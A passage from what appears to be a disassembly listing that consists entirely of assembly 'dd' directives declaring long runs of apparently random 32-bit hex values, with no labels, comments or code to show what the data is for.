		dd 4FC05059h, 7CB72646h, 0D9F7040Dh, 825F8B1Fh,	62789673h
		dd 0E015F6B5h, 2B67FEC3h, 0CB013912h, 30224401h, 0B82F23AFh
		dd 5C327DFCh, 0D0FD9C5Eh, 18DCBD0Dh, 0A85172D8h, 0BF8996E0h
		dd 0C0855520h, 500E04E3h, 0E1FEB6B0h, 27E9AD2Ch, 6179C8E2h
		dd 1CCE0076h, 0BA7E9025h, 8C162D41h, 44A1B238h,	759BF86Bh
		dd 14E77655h, 0CBA2FFCDh, 2574FBD6h, 0F2D5C9EAh, 0CAEC81F2h
		dd 3110B117h, 0C7D12B45h, 2B3A79EAh, 98FF7334h,	0D15BB261h
		dd 0CA7B1823h, 535F29FEh, 0F568BE85h, 0B59407A2h, 0FF5EA9E4h
		dd 30A2DB27h, 0C82B763Ah, 6027058h, 45DA2A6Bh, 0BE3F9C18h
		dd 68C5EA06h, 9AEC30D5h, 10A00818h, 4C8F324h, 89E9923Ch
		dd 0C777EE20h, 96D006B4h, 0A840EC68h, 803E49DFh, 7B5AC280h
		dd 0D128A2C1h, 0B6E26BF4h, 7CA18828h, 68D95713h, 0EC3BF361h
		dd 4640E1EAh, 0B4C4F82Fh, 0ECC8B3C1h, 58F8BE04h, 52F7D38Eh
		dd 620EB96Fh, 771FAC2Ah, 0BC14313h, 3E5E227h, 0A53745A7h
		dd 0E9849CFEh, 0AF98509Fh, 4856FAABh, 3E0BA321h, 0EA80EE0Dh
		dd 486F49E7h, 1DE96613h, 39EEEB85h, 97452E8Fh, 40984EA2h
		dd 52DD2768h, 3D8B0279h, 0B632F70Dh, 1662A398h,	563E1125h
		dd 97273C17h, 5C2FF0EEh, 0F822D566h, 9B80E77Ah,	0C1887B34h
		dd 910EB94h, 6E3E680Ah,	0A8AEBE72h, 0C6808372h,	80B5BF3h
		dd 0E83068D9h, 81724443h, 0D6DCD95Fh, 0F931780h, 185E538Ch
		dd 0E899392h, 0D988E561h, 4916857h, 8314E220h, 288388C5h
		dd 2231C950h, 0B05D8C00h, 6B3FE097h, 9455138Dh,	0AFCBC101h
		dd 0F5B4009Ch, 39B12C51h, 2832057Bh, 0B5EF80CCh, 0E53EC0A3h
		dd 0B3ED1F03h, 0FC9DECCFh, 984358EDh, 0B55C7398h, 5ACBBD7Ch
		dd 2F176FAh, 161E77Eh, 0EA5459CEh, 79A83CC2h, 8FBE0702h
		dd 80C252Eh, 51128AC1h,	0D3BEFC16h, 3EF16E94h, 0C5119D09h
		dd 0BD7F74A7h, 857D4FFDh, 1FF8A330h, 87575451h,	3CC210B4h
		dd 183D617Eh, 0BF673693h, 0C8852471h, 0E689F141h, 410BAB05h
		dd 0BDBCD8DDh, 1AE3CED4h, 0C35B0223h, 0D239D3D1h, 803FBE7Bh
		dd 255DC274h, 155538h, 0F2E00569h, 0E4E92E47h, 84530E49h
		dd 0B90110EEh, 707B5442h, 270BF1F2h, 0D53AAB64h, 1D58E822h
		dd 56DB7C0Bh, 21ABE912h, 0DCB2044h, 22830F01h, 0BD17A8DCh
		dd 518117C2h, 0AF9675D9h, 238EC20h, 788BF55h, 4CC7315h
		dd 900B8CB0h, 0DE623726h, 13E90581h, 7BCCCA80h,	0F7AA6525h
		dd 0E22F21CEh, 338E6935h, 2B823369h, 90D66C65h,	0F1258B9Fh
		dd 251D518Fh, 0C3912AD1h, 0AE04725Ch, 93DAD9C1h, 0C2EA0705h
		dd 2E2D4158h, 2010B179h, 0B432C002h, 5FFC4477h,	8A241593h
		dd 0F31C308h, 0ABEEAC1h, 0BC6E6510h, 7A230527h,	905BE561h
		dd 1901BE13h, 30924666h, 2FC9AC6Bh, 0FC9ED7C1h,	0D7D4E917h
		dd 0B24DFBBh, 73480FE9h, 16776B80h, 568225EBh, 0CB05A752h
		dd 49576195h, 226BE90Eh, 75214DADh, 8F61608Eh, 42452553h
		dd 0FE009BE4h, 378E0FC4h, 876211DFh, 148481CCh,	0EAD23B41h
		dd 29FA575Bh, 0F31AA62Dh, 786841A3h, 59F32E40h,	0E8F11796h
		dd 0F2A98691h, 0DCA3DEBh, 0F16AD01h, 0A74A5280h, 0AEBEDF18h
		dd 0CAF54728h, 586DFCBFh, 0B9E6DE9h, 8E21BB0Ah,	0F4AA2418h
		dd 75072C52h, 83991829h, 51163CEAh, 98F927BEh, 0EFC4C202h
		dd 9FFCA3Ah, 0D05B5743h, 0E6928BABh, 0ADEE1B8h,	898848C1h
		dd 883077E3h, 0F007C6Ah, 9B054869h, 0B796F083h,	9C71ED09h
		dd 0F8DA462h, 626857E1h, 0D457C24Bh, 85E9580Eh,	29C502B5h
		dd 0F69680D6h, 60060D7Dh, 83C0C78h, 42B58EC1h, 6ADF54DFh
		dd 0A4CB3F6Fh, 1490034Ch, 0DE58CAE6h, 5CEF2702h, 7629A8E7h
		dd 0F8017509h, 7C3401CEh, 0D8E9388Bh, 53A7A6AFh, 0BA569603h
		dd 0D703E206h, 0B8F1B320h, 745C7320h, 47120415h, 1CFA1A9Dh
		dd 38CDDA6Bh, 34460B0Bh, 690BF99Dh, 0AB9CBA2h, 960D0503h
		dd 0BE2D4A0Eh, 29AAE516h, 3AE8E940h, 9D828735h,	897D0FEBh
		dd 0E8579828h, 9702FAD6h, 9EA1B536h, 0F1B1006Ah, 9F75E480h
		dd 649341DEh, 54D53A04h, 4F6FC4C9h, 0E8B658F5h,	619C043Bh
		dd 16B068EBh, 32D276F1h, 0E35A7C25h, 0B9CE2903h, 0B3391D8Fh
		dd 41025D4Dh, 316806B0h, 0E9814B40h, 3023DCBDh,	3F2EE70Ch
		dd 647B0958h, 0CEBC2587h, 0A90AEF80h, 14FF5C8h,	3BAAD9AEh
		dd 0E36B15F1h, 42FADA98h, 9F3DFAC2h, 0C3B7377Eh, 0EA071E9h
		dd 0BE134EB7h, 38B23C9Ch
		dd 12C7FFC8h, 33E29D65h, 5D16532Fh, 0B09D331h, 2EAF84FAh
		dd 92BECA5Bh, 8CAFE4F1h, 50BC8080h, 3D35066Fh, 77E1B711h
		dd 3A63A43Ah, 3752D516h, 0C42BE2BEh, 0E6E57B19h, 952443E9h
		dd 120662E5h, 0A557D324h, 0D50A05F5h, 0E416F2E0h, 8542FF0Bh
		dd 945D0840h, 1014809Bh, 7FEE0BCCh, 0FEE23314h,	49D28982h
		dd 19812753h, 0F24A5EB8h, 0A3677466h, 0DCB51570h, 5A93EA78h
		dd 5151EA74h, 0B195FD3Fh, 0BC2F6F9Bh, 79BF9748h, 0FFE87E36h
		dd 555CE0A5h, 576FBD05h, 8D0A143Fh, 0B805FC02h,	25ECFD5Dh
		dd 0D17CBF75h, 0BF51E9D0h, 6D575F62h, 0F7E99EF6h, 1AD153Ch
		dd 27A87BAh, 35E87B52h,	6817C63Bh, 0D9CBB8BAh, 0D1FD8B9Ah
		dd 69EC802Ah, 324BC122h, 0A9E082F8h, 440D12B1h,	6A69F5E9h
		dd 1D3BEB2Bh, 413A5D51h, 82FB7D8h, 4040DAFAh, 0D397B844h
		dd 0F3A23F21h, 50DAE856h, 35094A4Ah, 78292E19h,	5808801Ch
		dd 0F196BD21h, 8B22E925h, 7A1ED4F8h, 66D5F98Bh,	85984A09h
		dd 0B299BEC1h, 0D23A68F0h, 4788BB18h, 4EB4F8F5h, 7277E41Ch
		dd 0DD7A42B5h, 4C118E94h, 0EB4EFEE5h, 6FB65DD8h, 9291CE0h
		dd 0EAAC7B11h, 6731FD09h, 49754A0h, 0F53C4E94h,	8A2DBD95h
		dd 0B85AD729h, 0FC403E10h, 0EC4C41D6h, 4C9F4016h, 8D945F90h
		dd 4361E05Eh, 43E8DB95h, 682EE82Bh, 58274080h, 3B6828ABh
		dd 8071798Fh, 5313FABDh, 0C6E14723h, 0A3453B9Ah, 8CAB5B81h
		dd 0F6D9CBF4h, 0BB218B29h, 4D01F2F8h, 0BF015128h, 2BC23083h
		dd 2CE1FF89h, 19CE7E0Fh, 6BE1EE02h, 0F8DD7D58h,	740882EDh
		dd 947FA58Fh, 0B200973Fh, 73343F8Eh, 5F40C49Fh,	1D50138Ah
		dd 4B77C92Eh, 98F4C675h, 3EB4E95h, 6E77687Ah, 1F41C513h
		dd 5C506CFBh, 51A1F795h, 91FEDFBDh, 573E93F1h, 17804B2Fh
		dd 30B05058h, 0EC5283Bh, 0E9D4F580h, 97517FE8h,	625D9663h
		dd 6EF39AA4h, 49B5D1F7h, 2E50595Dh, 0E9FB4011h,	0ECE0DC3h
		dd 0F311D329h, 2E683CCAh, 0F5CBD96Fh, 4488372Fh, 525A580Bh
		dd 0DF9D75h, 0AC033285h, 0D2050941h, 960253FCh,	31DD58C6h
		dd 0AD7E391Eh, 7C760546h, 6FC3669h, 66C28101h, 300B5F4Fh
		dd 0DB8257C3h, 0A08E17FAh, 78975D1Ah, 13124E59h, 0CD8BBB64h
		dd 58EFE94Bh, 0E3851704h, 126B41E5h, 0F6D9BB4Ah, 0F2B76F5h
		dd 6944B9D7h, 0DA87EE8Ah, 77BF6611h, 0F44D5370h, 81095F1Ah
		dd 3E6FE9EEh, 0D4FEE813h, 4FE6AE09h, 5140C688h,	0D25BF8E9h
		dd 219CFA3Ah, 84347002h, 4F4FDA1h, 924EF8AAh, 0D23B161h
		dd 6DE48000h, 5302C4E6h, 3058E328h, 494BF9D8h, 30DBEFFDh
		dd 7EB15108h, 8DE1B427h, 0CB3E50A5h, 0C3800D31h, 1F2106C1h
		dd 59B6C72Ah, 2BFD0E87h, 0C10042D1h, 0C5E9D328h, 58F38369h
		dd 5D1E31E8h, 54B5D5E6h, 0B8E97033h, 550A4A63h,	0A501B954h
		dd 15A1E26Bh, 5E6D3EAh,	0AF19A0C7h, 920C81EAh, 0E7A15131h
		dd 7C1C2002h, 0CF8080h,	0C0835445h, 55513501h, 52BB900h
		dd 0D737728h, 0C7AF5FE9h, 9F59972h, 6917D9A5h, 0E93766A1h
		dd 129F3C0Ah, 0EE0CC788h, 1EA915Dh, 4ED1F92Eh, 3E5AD029h
		dd 2E683C8Ch, 0C2DE6127h, 5F09767Ch, 973D8F71h,	31E1F142h
		dd 0DF6A62DAh, 3F25B4E4h, 91D7150h, 0A485DA01h,	42CEFA3Dh
		dd 5EF1213Fh, 8B5F1D5Dh, 63BB9DFh, 0B87D4F92h, 0C9E5E85Ah
		dd 79A49531h, 0DFB9EA5Ah, 987CE89Ah, 0EB5B42h, 28ABF480h
		dd 5558E72Fh, 6132CB2h,	0DC13D883h, 32FE9123h, 6550CCCCh
		dd 7246BA02h, 8F2133A5h, 0A010A9A2h, 698E0D51h,	4E7D7A9Ah
		dd 0B7B716F4h, 2533202Bh, 395052E9h, 0F78984A5h, 580E83D7h
		dd 0C1B9166Bh, 0CF370839h, 612B84A0h, 0E58997DEh, 42B8F57Bh
		dd 0E98044C5h, 0B7C25A91h, 5EE6583Eh, 141C5785h, 0CB47FA95h
		dd 6F67C153h, 12FA916Eh, 0E0C10121h, 2F850D30h,	0E4C437D7h
		dd 7B16B42Dh, 0EC800282h, 0D1FD5B63h, 41254295h, 0EF824B79h
		dd 600C7C08h, 57B44B1h,	0CBE96BA8h, 4C29B761h, 0FD1440Dh
		dd 5EF68D17h, 1C66DFDh,	89122145h, 0C6F2EF3Ah, 0AEE788C4h
		dd 0BF806624h, 710C2909h, 28E9846h, 40E41EA3h, 42FCF101h
		dd 98F97D5Ah, 9B4B4E83h, 0AEE41D61h, 0C0C586Dh,	0A027AB89h
		dd 197839Eh, 852E01C1h,	0E90C9D64h, 12136F33h, 9EF253E8h
		dd 7F6414C9h, 372C3EB3h, 60171D4Ah, 6015409Fh, 0F3E68816h
		dd 3F092971h, 0C207820Fh, 0F9F9FF9Eh, 7FE1C045h, 556B002Fh
		dd 776D54BDh, 13094858h, 99905EBEh, 5BA945B1h, 19C80BAh
		dd 674FE9D9h, 5F09E8C0h, 5862F01Ch, 55A23344h, 0CD3FA3FFh
		dd 5DEEA959h, 1BFBC264h, 0E4331B2Ah, 1FFE13CCh,	0A2B8122Bh
		dd 721FD3F1h, 0ECB566CBh, 67852F4Bh, 0ED8961F9h, 5E96FF2Ch
		dd 75AAFE4Eh, 92148039h, 5202A66Bh, 62386805h, 7D65F718h
		dd 0BF07E904h, 5D74CAABh, 7A4410C8h, 0B207FB5Bh, 490825CAh
		dd 0E848F80h, 515DBE83h, 40AD050Bh, 68212BFh, 4893EC3Bh
		dd 0EE20F258h, 8C4A3290h, 0FF1E16AEh, 4A689728h, 49F91D92h
		dd 4F5570CFh, 0E6CE0901h, 5DC23E9Eh, 46050668h,	58542572h
		dd 0BE696DDh, 0FEF606E9h, 230804F9h, 770500F5h,	2DD81057h
		dd 0FE06960Fh, 7449E534h, 0E4072CEFh, 2CE9CF40h, 6A22134Fh
		dd 0A3F2128Dh, 56AF9FB3h, 72E64735h, 4FFCBAC2h,	36108F8Eh
		dd 0B681D2D4h, 8560F337h, 805C80A3h, 0E0B4E12Bh, 0C3648A0Eh
		dd 4E548802h, 4832B608h, 0FEDA17C0h, 5F7943B2h,	0FDB3B5FCh
		dd 44CE6F03h, 0E051501h, 874FD0E9h, 0B19CF7FBh,	0FE9100CBh
		dd 5056515Fh, 588E9668h, 0A20F528h, 235A1EF4h, 0EAD38D32h
		dd 0CF86753Ah, 0BB058ED9h, 41AA2BDBh, 7B08AA00h, 5FE91531h
		dd 5BCD0A57h, 0F5A3E59Ah, 437EEF5Ah, 285A5303h,	0C8B551D8h
		dd 1717ED80h, 0EC2BF3E9h, 788C849Eh, 0B4564098h, 2F8068C2h
		dd 55E63AA2h, 4DCDED40h, 8977BD3Ch, 0A718E9DDh,	0EE65ADF4h
		dd 0F5BA54Bh, 0E5EFC68Ah, 2D2D4F11h, 840E203Dh,	0D6D85E81h
		dd 27D6BA07h, 161802F7h, 0A255208h, 92007566h, 7BB7BCF5h
		dd 5039974Dh, 0D73F3F4h, 0C6212C14h, 0F6F14EB6h, 0F110F87Fh
		dd 105B94Ch, 0AF58B2DFh, 0E0EBD94Dh, 691A2D22h,	0A58CB01h
		dd 77853808h, 50AE5CBCh, 582708FBh, 0C3055196h,	25063AB8h
		dd 0EBD1A3C0h, 85BF0F57h, 207A5897h, 90DC587Fh,	0B74840F6h
		dd 62D7AF50h, 59EF281Ch, 0C780CFC7h, 8D60E981h,	0C101CC2Fh
		dd 61BE944Fh, 70555CB1h, 9AB420A6h, 4B9D8BEh, 473310A0h
		dd 95BC24F0h, 224A27F2h, 0D29727EAh, 0D0FAB537h, 84200878h
		dd 1316B05Dh, 0B8FEF065h, 360F8CEEh, 0D647BD46h, 0FE475A80h
		dd 0E665572h, 6044EF81h, 517557A9h, 0E9F54B76h,	24AF4B4Dh
		dd 0EA4B760h, 200BD2A4h, 0DE7B137Dh, 9808A099h,	2E900BB8h
		dd 15543E12h, 7573A283h, 1A0C0E4Bh, 1769618h, 611215D7h
		dd 75E13065h, 20443B3h,	0EBA640h, 0B1038B71h, 40975D50h
		dd 764E57E7h, 49AD902Bh, 0FA5F9DFBh, 0A674884Ah, 38C4D7A5h
		dd 5A205CB0h, 0A654BD21h, 0BE37EDAh, 1C753B2Bh,	9C32FC3Bh
		dd 9ABE14B3h, 0FAEA8185h, 0EE009894h, 1DEB4268h, 2DE064E9h
		dd 2F7BAC31h, 5C94C1E3h, 926EE22Ah, 5D5B2509h, 2109C2E5h
		dd 2176455h, 6CBDB951h,	0BC8164CEh, 6E317965h, 272E9E04h
		dd 0D28BFB16h, 0FF693C1Fh, 45989C2h, 83A0FB27h,	82C36021h
		dd 8C7104CBh, 68504A01h, 49692BDFh, 355BF03Ah, 761A26B0h
		dd 2E09A1h, 3F436DFAh
		dd 0E9501351h, 5B624CFAh, 4402F5Ah, 5BEE5C29h, 0A8DB844Fh
		dd 0B2C9DE83h, 0D65591F1h, 41EC8770h, 79C06045h, 0D3D2D2EDh
		dd 5FCEFA20h, 0C7E26359h, 3F1BEDFCh, 0F791CF8Ch, 73928F51h
		dd 85C0F63Ch, 0E88D1BB8h, 0F56516E1h, 513FE47Bh, 591A5E94h
		dd 3E974011h, 0DB6C8247h, 414B0BF6h, 4DA9EF31h,	55198304h
		dd 0E72D317Bh, 0F6C64E0Ah, 9652F171h, 0D52C42C2h, 0C132E0ADh
		dd 2EE049DCh, 0B85BF7B8h, 25A1B656h, 0C1437BE9h, 9A20D98h
		dd 56E9B07h, 7471D637h,	0F447C729h, 201D4630h, 9012B03Ch
		dd 0E908800Ch, 725C955Fh, 0DDFA3145h, 0D79A20ADh, 0F645592Dh
		dd 81541D5Fh, 0E7C15FACh, 0D6A07E07h, 0D1CF0681h, 5E1EC05Bh
		dd 6E399E01h, 1F79E938h, 120FA32Eh, 8038C349h, 605A41DEh
		dd 49B2B70Dh, 4E141722h, 943FBD3Ch, 5DA10090h, 0D6BE7469h
		dd 648FA50h, 3DE9CE31h,	82D418Ah, 907F461Ah, 1E642E64h
		dd 5F391084h, 0E9F03CFBh, 57F73024h, 5B464E27h,	256FC04Eh
		dd 0E60421B3h, 62890F58h, 0E78203D4h, 0A36ED5B0h, 0A5C2C63Bh
		dd 8666575Bh, 0DB4BBE2Fh, 19200B64h, 0E98B0751h, 0B1BC60ABh
		dd 5B805C87h, 676F0667h, 0F1240FC1h, 0C2DFF16Ah, 5F0FF055h
		dd 6919BC5Ah, 5B14F538h, 93385698h, 2CEACBFEh, 0E44038E9h
		dd 0F05E6454h, 8368891Bh, 0A029E5D2h, 0CBDD02Bh, 19143E5Dh
		dd 5853777Bh, 0F50FD922h, 0D4B705Fh, 1C4AFF54h,	0E119893Fh
		dd 5247007Ch, 0B860EE7Eh, 5E16E2E0h, 3DFB8D8h, 3D863AB5h
		dd 7D5EE231h, 0E5453787h, 0ED2C82F6h, 20444455h, 0C10EC2AFh
		dd 6F8307EEh, 206C6901h, 40D9B866h, 16134E80h, 689909ACh
		dd 6D82715Eh, 8226A34Ah, 7E489AF3h, 13DF48BFh, 4E9DEF7Dh
		dd 0F9DAF5F0h, 9853FFF6h, 0C5295D05h, 9CA31304h, 1AFD5F0Bh
		dd 72D0D680h, 0D25B1EC4h, 2E520BFFh, 0A0CCE68h,	0E11DD183h
		dd 5956D540h, 33C0B55Eh, 0F09EAD1h, 225F5884h, 74D7233Ah
		dd 0A6B242FDh, 2DD0F05Dh, 0D0F330C4h, 0DD12E963h, 1065A3ABh
		dd 0D92FEE29h, 0E5573389h, 5BDE06E7h, 0CA2DF733h, 28BC59FEh
		dd 3AEF3830h, 0B665EB4Eh, 0ECCD22BBh, 4EA76801h, 0B32AA336h
		dd 0DEC2B7C7h, 8F3CFF00h, 5F9F7C4Ah, 0B9B97285h, 3E1125Ch
		dd 712C2C00h, 0C031236Dh, 84B85022h, 0E85FFFE6h, 0F4ABBEC5h
		dd 0DD12F799h, 82F899F3h, 8465EC5Bh, 540F2058h,	4E8A676h
		dd 4F291B78h, 1F7C6B83h, 0F3DBE90Dh, 44A0ACA6h,	0FD97D828h
		dd 0F2C806B6h, 0F7B50003h, 2C59E828h, 0EE77F072h, 0CBE904E8h
		dd 69BEACC5h, 52BE1032h, 808A0FB6h, 27E998E6h, 0AF290FC1h
		dd 0C8955ED2h, 443B8BA0h, 1F423271h, 0B762B61h,	0C152581Dh
		dd 9F60FE2Dh, 8394BDC8h, 74B47C9Dh, 1E4F48BFh, 0F5258564h
		dd 0FBDDF012h, 499625C5h, 2FED42Eh, 0D91FA249h,	0DF7A09BAh
		dd 24D3CF31h, 1A70D4F6h, 0C7D3972Dh, 0B0686CB0h, 0F281AC60h
		dd 310121Bh, 0B0F6AC17h, 4BC1DAF7h, 157D81E2h, 0EBCB3AD9h
		dd 80E7EC10h, 7858BE68h, 465E3F1Eh, 81C18C93h, 74F1E98Eh
		dd 0D85A2132h, 9DEA8E84h, 39F8EC08h, 6BA8FC99h,	3E7D150Fh
		dd 2F17DC12h, 675F7922h, 20921CD9h, 63E0F9Dh, 0C9C90363h
		dd 4FD08272h, 5B3BA6C1h, 0FC206FC4h, 7BA8415Ah,	0A86B65B1h
		dd 535B13BBh, 259CFA08h, 9FCE4577h, 8005EDE9h, 3A00EF31h
		dd 0A92F7BCFh, 0ECC09053h, 21902E41h, 0FA94B93Fh, 0B7B9F5Fh
		dd 126D466h, 30087CA8h,	1B2E801Ch, 0FD816295h, 402297FAh
		dd 1DBD1DE8h, 0C930DE3Fh, 34DD8834h, 0BFC24FBAh, 5B68AA3Ch
		dd 8FBCED7Fh, 310D24C7h, 2C69721h, 0DDED605Fh, 0C501305Bh
		dd 23357196h, 0C33E77B0h, 0A5F2269Eh, 71D1180h,	30E95034h
		dd 0C39B8E6Dh, 92257389h, 0CFC34043h, 6E5F8129h, 321477B0h
		dd 0BDE4F305h, 0FFA9097Dh, 0A1ECDEA4h, 9FFB6301h, 795766D2h
		dd 2FF58AFFh, 0F34B20A3h, 60781911h, 5AF18A03h,	0DE97148Ah
		dd 63D050F7h, 4978B002h, 7EA876E9h, 5322BAB1h, 0C201FC9Dh
		dd 0EEDF12BCh, 0A295F80h, 0B4EEA59h, 82D71B70h,	5FE2F7AFh
		dd 7F972A14h, 310E3915h, 8F54CEEh, 87D53CF7h, 0B4C6AC4Dh
		dd 0CF05A7EAh, 30803B9Ah, 50F230C0h, 0FF609D91h, 1E0572B8h
		dd 0AAE94602h, 61FFE397h, 8F852C6Eh, 82415760h,	0D30865D6h
		dd 0C372629h, 0BB0C0C0Fh, 0A130F29Dh, 8005A911h, 5366CBC4h
		dd 2016B30Eh, 815BC9D9h, 0F13049D9h, 4DB377Bh, 5A48BCBh
		dd 66C8EB80h, 0DDB3B3C1h, 6FD1F701h, 0DB7BCA0Dh, 0C295CE4h
		dd 0FA01FC02h, 3340E296h, 0B1D90505h, 0EF09C130h, 6DF60680h
		dd 330B097Dh, 0AA9CF721h, 0DFCAFF35h, 0DE040EFDh, 0EE3FDD76h
		dd 34E77640h, 5E2931C2h, 0D00CA854h, 0C5E9090Ch, 83907D01h
		dd 8A2F685Ch, 73C9855h,	51B22803h, 22CC5CAEh, 0F203BCD0h
		dd 2D32E843h, 7E0B475Eh, 5B30F706h, 0F3066A51h,	5FF80923h
		dd 4A81981Dh, 60C6C9E5h, 195E8870h, 561F9F8Bh, 4616D257h
		dd 350103A6h, 859D1CF4h, 828E21D1h, 0ED20B848h,	58937E9Fh
		dd 0D098D801h, 0DBD50882h, 2C5B13E1h, 6E0DBD3Bh, 7E608B4Bh
		dd 0ECC278FFh, 0BC385EC1h, 20F94F5h, 882AB252h,	4F125FD5h
		dd 6468F168h, 97A36762h, 6BBE2DEEh, 2C7C5CE8h, 8E2E3598h
		dd 0D942C388h, 0E654665Bh, 0C2800240h, 0CA2804A6h, 0AAE2D1E9h
		dd 0A08602A3h, 41BF1C0Dh, 407B3CCCh, 9CF8F7E8h,	293ED79Fh
		dd 33C9F4FDh, 0B4015F5Eh, 3047B20Ch, 2F42A00h, 48E9670Bh
		dd 0AFD4FB8Bh, 2820D3C4h, 0B95107CFh, 0D3134964h, 9BEFCB29h
		dd 6686321h, 5B5A3669h,	0C3114BBBh, 0E9854055h,	0F3425F6Eh
		dd 578F4EC1h, 0EE315125h, 0D0797F59h, 0BD6B2D35h, 0EEC00BA8h
		dd 7F89F508h, 0D6CB7F6h, 0FA3A25E9h, 173C6BD1h,	0BA898513h
		dd 5A876242h, 0A6C702A8h, 3195A07Eh, 36607442h,	75BEF2E9h
		dd 0B3D0A63Bh, 924D0902h, 8FBD61Fh, 5241153h, 6A4EA309h
		dd 0D9E493B0h, 16AC82A2h, 0F1EF016Bh, 0F003D77Fh, 1DA0E7A8h
		dd 8DA43CB1h, 4B51A909h, 20C7F816h, 7795B5CCh, 0E9255F16h
		dd 0B4B3F07Ah, 4EE0583Fh, 4C14A13Ch, 67EA4048h,	6664397Eh
		dd 51C0595Ch, 4EDF0248h, 9D61ABE6h, 0B32A8F68h,	16BF076Bh
		dd 1D0F307h, 9C7DE9F8h,	0AA6F2DC8h, 0F22F597h, 0EB5077C2h
		dd 5A4A08F6h, 43D28D28h, 4F0C571Ah, 991F98FCh, 0AECB3E1Ah
		dd 8ECDA033h, 0D7F72D8Ch, 7311F4Ch, 0CC8830B1h,	0A14CEC2Eh
		dd 72FEC80h, 64C069E3h,	4CD2B207h, 854D773Fh, 0E6B05E11h
		dd 0EA3B0329h, 20478F0Ch, 0A8206D6h, 0BD8D3457h, 49C3FDC2h
		dd 9DB8C4h, 0A1F5814Dh,	0BC443A73h, 0E8933F52h,	4574AF12h
		dd 66FD6889h, 0E645CAA0h, 0AE934E5Dh, 70BC784h,	8B1C1059h
		dd 1FFE2122h, 0A20BE26h, 0E98DE92Fh, 0CE7F340Fh, 1AE95FA3h
		dd 7E29A693h, 0CA8B2263h, 6FCC8932h, 3027EAD8h,	0C2DC9218h
		dd 5E2705F6h, 381481E4h, 0EC3B3267h, 5A08400Dh,	48236817h
		dd 0EE374237h, 4598F754h, 0A92B2DE9h, 87044AD1h, 0FF56236Ch
		dd 0ED4A949Ah, 0DDC90317h, 0C2437F72h, 587AD8CAh, 0BE1E732Dh
		dd 31DDBE47h, 9A20AD48h, 1F5B543Eh, 0CE3EA7ACh,	1F1024E6h
		dd 2C475027h, 9F4B2640h, 3C18205Dh, 0BF6451A7h,	58E91281h
		dd 0FBE19D3Fh, 0DB192FFDh, 2D98BDBEh, 0EBF56BCCh, 0B7B35F8h
		dd 5D39D42Fh, 2D5AEA32h, 2C899654h, 36869B6Fh, 63E42412h
		dd 0C7162A4h, 1AC1E230h, 9F64B980h, 50C954C1h, 2F4C7FFBh
		dd 768888B6h, 9B68047Ch
		dd 7ED2B330h, 4CF74A59h, 0F8D80EC5h, 5FA2F73Ch,	59CF3001h
		dd 0F307EFC0h, 0EC23D2B7h, 8A8EDB08h, 0CAAF371Bh, 0DC8024E5h
		dd 0F2FF5F12h, 0B5E9C264h, 0ECE24820h, 10D459F6h, 1E0A5A7Ch
		dd 0A0DB99F2h, 54073B93h, 0C0F25559h, 0D9BE006Ch, 1B4A0F0Dh
		dd 0EA7DC0AFh, 827995C8h, 90D08920h, 0A7791753h, 40DEF94Ch
		dd 5EBD5808h, 4FB6D87Bh, 4E68660Bh, 51B923Dh, 0DEAD1AF3h
		dd 45CD2212h, 0B3E4A32Fh, 0CF127E30h, 91BA2952h, 3E44E990h
		dd 0CB639A44h, 7C1645EDh, 4558E2AAh, 1B583CC9h,	5F0BD3F7h
		dd 0B73DFF54h, 6B6DE040h, 436627BEh, 0FDF21255h, 0D5E01C0Bh
		dd 0F15F639Ch, 7627C6CEh, 0E95D8910h, 94C4F432h, 52FC8C29h
		dd 48D0BFA2h, 0F91F38B0h, 0E0ED7FB9h, 61DBE9FCh, 0EBC02EF6h
		dd 0E1C9E002h, 6F87E5FFh, 0BC5B84CAh, 0DE110F5h, 0EDBBE916h
		dd 9BFD2F1Ch, 0B491EB28h, 0A070CDFFh, 0F434991Fh, 66E53587h
		dd 49A503E9h, 5F581455h, 58D405ECh, 6CF3EB5Eh, 0B89CAF92h
		dd 575F25E9h, 0F770DD56h, 3D9590DBh, 10026204h,	8D0E953h
		dd 0C144A07Fh, 5DC07046h, 34748730h, 0AA0C1ED4h, 0F07A9FB1h
		dd 80415423h, 8929B96Bh, 0E9FC600Ah, 0BD9E6B73h, 34F6E8DFh
		dd 0D85A4B06h, 0E745BA10h, 95E39DD8h, 756825F1h, 2042AD26h
		dd 23D109CAh, 102CC680h, 4CE92FEEh, 0AAD35DB9h,	459929D1h
		dd 3A719D89h, 0E5FA6B44h, 867AFB5Ch, 0F65CFAC1h, 0AC961EDh
		dd 0CC0253BDh, 0FBF64D4Ah, 0C858FBCCh, 7A730F26h, 10930165h
		dd 0B94A08B4h, 5468829Dh, 5861761Bh, 8398C301h,	0E175F764h
		dd 2C1603E8h, 68DD2C58h, 0E6B3A25Bh, 5DBE2A78h,	0E951122Ch
		dd 0AB285761h, 0BC64E4DAh, 0A4A1BBC7h, 0A0BBECDBh, 4330E9B0h
		dd 0B104E16Eh, 68F00B28h, 935C451Ah, 6D9F9F6Fh,	0B90CE897h
		dd 9D2D3120h, 9426D974h, 84BBB9E4h, 0DF2DE28Fh,	80C4114Bh
		dd 5D95C910h, 4920042Dh, 0EF41D1F7h, 9C384600h,	983109FCh
		dd 499888BCh, 0C4DF82E8h, 9D3FB25Eh, 24F979DAh,	0AC4E7884h
		dd 809732A3h, 5AA7924h,	0B301E6FEh, 0F10ED04h, 0B4683F83h
		dd 33C1AF4Bh, 47803D19h, 0D55E8FC7h, 0E8905650h, 4E4E7922h
		dd 9398BBE3h, 145E9F5Ah, 0B5F1D75Ah, 457B7CE9h,	5B40AC9Ch
		dd 0BA4B36DAh, 0C89AF544h, 7D751E92h, 6E5DF58Bh, 0FB68164Ah
		dd 1345F329h, 114594DDh, 0D4B66DFh, 2F0E7E51h, 893A1AD6h
		dd 48B7E9CBh, 1496C18Bh, 0CD1BF313h, 7F60E005h,	529EE08Ch
		dd 70845D6Eh, 0B68AEC78h, 4CD7272Ah, 0B73BFA7Ch, 0AC5D8C85h
		dd 5BE9AC98h, 0BF8985E2h, 0D197B2B6h, 2E6DBCE0h, 0F9961BB6h
		dd 2825D7ECh, 0E91607B2h, 81C9FE8Eh, 979D85E0h,	95BD8ED3h
		dd 17A2DD2Ah, 67BA4D01h, 1D66A2F9h, 5358FEFEh, 14F5FE51h
		dd 9444F642h, 4B0F7610h, 0D10EBF1Ch, 66F9095Ah,	0B6B42F1Ah
		dd 954C4458h, 959C4ECAh, 0B7DB92FCh, 0A427456h,	0F1DCA1E2h
		dd 0EE6A4Ah, 0AF0B5CE1h, 722515Ch, 2B153889h, 9FB8454h
		dd 0C57F5EE5h, 17F0CFDh, 0D30BBF4Ch, 7589D0C3h,	0BA094E84h
